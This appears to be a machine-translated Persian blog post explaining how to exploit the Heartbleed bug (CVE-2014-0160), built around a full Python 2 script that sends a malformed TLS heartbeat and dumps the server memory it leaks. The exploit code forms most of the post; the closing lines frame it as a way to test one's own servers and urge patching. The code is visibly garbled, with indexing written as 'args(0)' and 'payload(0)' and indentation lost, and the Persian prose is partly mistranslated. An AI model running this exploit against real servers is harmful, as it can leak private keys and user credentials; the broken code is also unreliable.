از طریق منوی جستجو مطلب مورد نظر خود در وبلاگ را به سرعت پیدا کنید
چگونه از اشکال Heartbleed سوء استفاده کنیم
سرفصلهای مطلب
ابتدا توضیح دادیم که چگونه کار می کند و اکنون به لطف جرد استافورد (و stbnps روی GitHub برای توضیحات) ما می توانیم به شما نشان دهیم که چگونه از آن بهره برداری کنید. Heartbleed یک باگ ساده است و بنابراین یک باگ ساده برای سوء استفاده است. همانطور که در زیر می بینید، فقط یک تک آهنگ طول می کشد page پایتون برای سوء استفاده از این باگ.
قبل از اینکه به کد بپردازیم، در اینجا چند لینک مرجع برای کمک به درک پروتکل SSL وجود دارد:
کد
import sys
import struct
import socket
import time
import select
from optparse import OptionParser
helloPacket = (
'16 03 02 00 31'
'01 00 00 2d'
'03 02'
'50 0b af bb b7 5a b8 3e f0 ab 9a e3 f3 9c 63 15 33 41 37 ac fd 6c 18 1a 24 60 dc 49 67 c2 fd 96'
'00'
'00 04 '
'00 33 c0 11'
'01'
'00'
'00 00'
).replace(' ', '').decode('hex')
heartbleedPacket = (
'18 03 02 00 03'
'01 FF FF'
).replace(' ', '').decode('hex')
options = OptionParser(usage='%prog server (options)', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def dump(s):
packetData = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in s)
print '%s' % (packetData)
def recvall(s, length, timeout=5):
endtime = time.time() + timeout
rdata = ''
remain = length
while remain > 0:
rtime = endtime - time.time()
if rtime < 0:
return None
r, w, e = select.select((s), (), (), 5)
if s in r:
data = s.recv(remain)
if not data:
return None
rdata += data
remain -= len(data)
return rdata
def receiveTLSMessage(s, fragments = 1):
contentType = None
version = None
length = None
payload = ''
for fragmentIndex in range(0, fragments):
tlsHeader = recvall(s, 5)
if tlsHeader is None:
print 'Unexpected EOF receiving record header - server closed connection'
return contentType, version, payload
contentType, version, length = struct.unpack('>BHH', tlsHeader)
payload_tmp = recvall(s, length, 5)
if payload_tmp is None:
print 'Unexpected EOF receiving record payload - server closed connection'
return contentType, version, payload
print 'Received message: type = %d, ver = %04x, length = %d' % (contentType, version, len(payload_tmp))
payload = payload + payload_tmp
return contentType, version, payload
def exploit(s):
s.send(heartbleedPacket)
contentType, version, payload = receiveTLSMessage(s, 4)
if contentType is None:
print 'No heartbeat response received, server likely not vulnerable'
return False
if contentType == 24:
print 'Received heartbeat response:'
dump(payload)
if len(payload) > 3:
print 'WARNING: server returned more data than it should - server is vulnerable!'
else:
print 'Server processed malformed heartbeat, but did not return any extra data.'
return True
if contentType == 21:
print 'Received alert:'
dump(payload)
print 'Server returned error, likely not vulnerable'
return False
def main():
opts, args = options.parse_args()
if len(args) < 1:
options.print_help()
return
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print 'Connecting...'
sys.stdout.flush()
s.connect((args(0), opts.port))
print 'Sending Client Hello...'
sys.stdout.flush()
s.send(helloPacket)
print 'Waiting for Server Hello...'
sys.stdout.flush()
while True:
contentType, version, payload = receiveTLSMessage(s)
if contentType == None:
print 'Server closed connection without sending Server Hello.'
return
if contentType == 22 and ord(payload(0)) == 0x0E:
break
print 'Sending heartbeat request...'
sys.stdout.flush()
exploit(s)
if __name__ == '__main__':
main()
اکنون میتوانید از این اسکریپت برای آزمایش یکی از سرورهای خود برای باگ استفاده کنید، یا میتوانید از یکی از بسیاری از سرورها استفاده کنید. آزمایش کننده های آنلاین بیرون وجود دارد. اگرچه، به خاطر داشته باشید که این اسکریپت برای تست سرورهایی که با اینترنت مواجه نیستند و توسط یک تستر آنلاین قابل دسترسی نیستند، خوب است.
حتی اگر فکر نمیکنید که این اشکال را دارید، یا سرور شما عمومی نیست، به هر حال آن را وصله کنید!
منابع
(برچسبها به ترجمه)# python
منتشر شده در 1403-01-30 16:31:04